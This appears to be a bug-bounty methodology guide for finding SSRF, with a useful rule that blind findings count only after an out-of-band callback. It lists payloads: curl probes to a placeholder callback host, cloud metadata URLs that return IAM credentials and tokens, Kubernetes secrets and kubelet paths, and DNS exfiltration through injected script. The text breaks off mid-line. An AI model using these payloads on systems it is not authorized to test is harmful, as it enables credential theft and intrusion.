hunt-ssrf

Crown Jewel Targets

SSRF is highest-value when the target runs on cloud infrastructure (AWS, GCP, Azure) where metadata services expose credentials, or when the server sits inside a complex internal network (Kubernetes clusters, microservice meshes, internal APIs). Priority targets:

• Cloud-hosted SaaS products (GCP metadata at 169.254.169.254 or metadata.google.internal, AWS IMDSv1)
• Kubernetes/orchestration platforms — aggregated API servers, metrics-server, kubelet endpoints expose privileged cluster operations
• Internal developer tooling — CI/CD, workflow orchestration (Flyte, Argo), admin panels not exposed externally
• Link preview / URL fetching features — Reddit-style preview APIs, Slack-style unfurling, media processors
• Dataset/file import pipelines — anything that fetches remote URLs on behalf of a user
• Enterprise self-hosted software (GitHub Enterprise, GitLab) — SSRF frequently chains to RCE via internal services

Payouts are highest when SSRF reaches: cloud credentials → account takeover, internal admin APIs → data exfil, or chains to RCE.

OOB-Or-It-Didn't-Happen Gate (Read First)

Claims of blind SSRF require an out-of-band (OOB) confirmation. Always. No exceptions.

OOB means: a Burp Collaborator domain, an interactsh-client listener, a canarytoken, or any DNS+HTTP receiver you control that confirms the server actually made an outbound network connection on your behalf.

What is NOT confirmation of SSRF

• The server echoing your URL back in an error message. Example: "The Web application at http://evil.example.com/x could not be found" — this is the server formatting your input into an error string, NOT making an outbound HTTP request. The error came from string formatting, not from network failure.
• The server returning a different status code for an external URL vs localhost. Different error responses can come from URL-scheme validators, not from actual fetching.
• A delayed response when the URL is sent. Delay can come from DNS resolution attempts within the parser, not from completed HTTP fetches.

What IS confirmation of SSRF

• A DNS lookup for your unique Collaborator subdomain appears in the OOB listener.
• An HTTP request to your Collaborator HTTP endpoint with the server's source IP and User-Agent.
• For SSRF in JavaScript-execution contexts (PDF renderers, headless browsers), a fetch from the server to your callback URL.

Default workflow

1. Plant the Collaborator subdomain first (sub-tag it per sink: dlsrcurl.<collab>, import.<collab>, etc., so callbacks tell you which sink fired).
2. Send the request to the target endpoint.
3. Wait 30–120 seconds, then poll the OOB listener.
4. Only after a confirmed callback do you claim SSRF.
5. If zero callbacks across all sub-tagged sinks: SSRF claims must be retracted, even if error messages echo URLs.

Lesson from a authorized engagement: SharePoint's /_layouts/15/download.aspx?SourceUrl= returned 500 with the title "The Web application at <attacker-URL> could not be found". Initial scan flagged this as SSRF (server clearly processed the URL). 38 Collaborator-tagged payloads across 12+ URL-accepting parameters yielded zero DNS or HTTP interactions. The "echo" was client-side error-string formatting; the server never made an outbound HTTP request. The path is actually an SP-internal SPFile/SPWebApplication resolver, not a generic URL fetcher. Reporting this as SSRF would have been N/A'd at triage.

Attack Surface Signals

URL Patterns to Hunt

/api/*/preview
/api/*/fetch
/api/*/import
/api/*/webhook
/api/*/proxy
/api/*/render
/api/*/link
/api/*/screenshot
/api/*/export
/api/*/validate
?url=
?uri=
?endpoint=
?redirect=
?src=
?source=
?feed=
?host=
?target=
?dest=
?file=
?path=
?callback=
?image=
?load=
?fetch=

JS Patterns (in client-side code)

// Look for these in JS bundles
fetch(userInput)
axios.get(params.url)
XMLHttpRequest + variable URL
url: req.body.url
src: params.source
href: query.endpoint

Response Header Signals

X-Forwarded-For headers echoed back
Server: internal-service
Via: 1.1 internal-proxy
X-Cache headers revealing internal hostnames

Tech Stack Signals

• Kubernetes — any public-facing aggregated API, metrics endpoints
• GCP — any service fetching URLs that runs on Compute Engine/GKE
• Node.js/Python with URL-fetching libraries (requests, node-fetch, axios)
• Headless browsers (Puppeteer, PhantomJS) used for screenshots/PDF — extremely high value
• XML/DSPL/CSV import features — XXE-style SSRF vector
• OAuth/webhook registration endpoints

Step-by-Step Hunting Methodology

1. Map all URL-input parameters across the target: spider JS files for fetch calls, check all API docs, look for file-import, link-preview, webhook, image-proxy, and redirect features.

1. Set up an out-of-band detection server using Burp Collaborator, interactsh, or https://canarytokens.org — you need a unique per-test DNS/HTTP callback domain.

1. Send your callback URL as the parameter value first (blind SSRF check before anything else):

`` url=https://YOUR.interactsh.com/test `` Confirm the server makes an outbound connection. This proves execution before attempting internal targets.

1. Test internal cloud metadata endpoints:
2. GCP: http://metadata.google.internal/computeMetadata/v1/
3. AWS: http://169.254.169.254/latest/meta-data/
4. Azure: http://169.254.169.254/metadata/instance

1. Test localhost and common internal ports:

`` http://localhost/ http://127.0.0.1:8080/ http://127.0.0.1:6443/ (Kubernetes API) http://127.0.0.1:2379/ (etcd) http://127.0.0.1:9090/ (Prometheus) http://127.0.0.1:9200/ (Elasticsearch) ``

1. Check for redirect-based SSRF — if the endpoint validates the initial URL but follows 30x redirects, host a redirect server pointing to internal addresses. Kubernetes report (Report 3) was specifically triggered by hijacked API servers returning 30x responses.

1. Test JavaScript-execution contexts (headless browsers, PDF renderers):
2. Inject <script> tags that make XMLHttpRequest or fetch() calls to internal services
3. Exfil via DNS: encode response data in subdomain of your callback domain

1. Enumerate the internal network using timing differences and error message variations:
2. Port scan via response time (connection refused vs timeout)
3. Check error messages for hostname/IP leakage

1. Chain findings — if you have SSRF to internal services, look for:
2. Unauthenticated admin endpoints
3. Redis, memcached (protocol smuggling)
4. Internal OAuth token endpoints
5. SSRF → CSRF → RCE (GitHub Enterprise pattern)

1. Document the full chain with screenshots of each hop before reporting.

Payload & Detection Patterns

Basic Out-of-Band Detection

# Using interactsh-client
interactsh-client -v

# Test parameter
curl -s "https://target.com/api/preview?url=https://YOUR_ID.oast.pro"

# With common headers that might unlock SSRF
curl -s "https://target.com/api/fetch" \
  -H "Content-Type: application/json" \
  -d '{"url":"https://YOUR_ID.oast.pro"}'

Cloud Metadata Payloads

# GCP - requires Metadata-Flavor header (test if server adds it automatically)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://169.254.169.254/computeMetadata/v1/project/project-id

# AWS IMDSv1 (no auth required)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01

Localhost/Internal Port Payloads

# Kubernetes internals
http://127.0.0.1:6443/api/v1/namespaces
http://10.0.0.1:6443/api/v1/secrets
http://127.0.0.1:10250/pods          # kubelet
http://127.0.0.1:237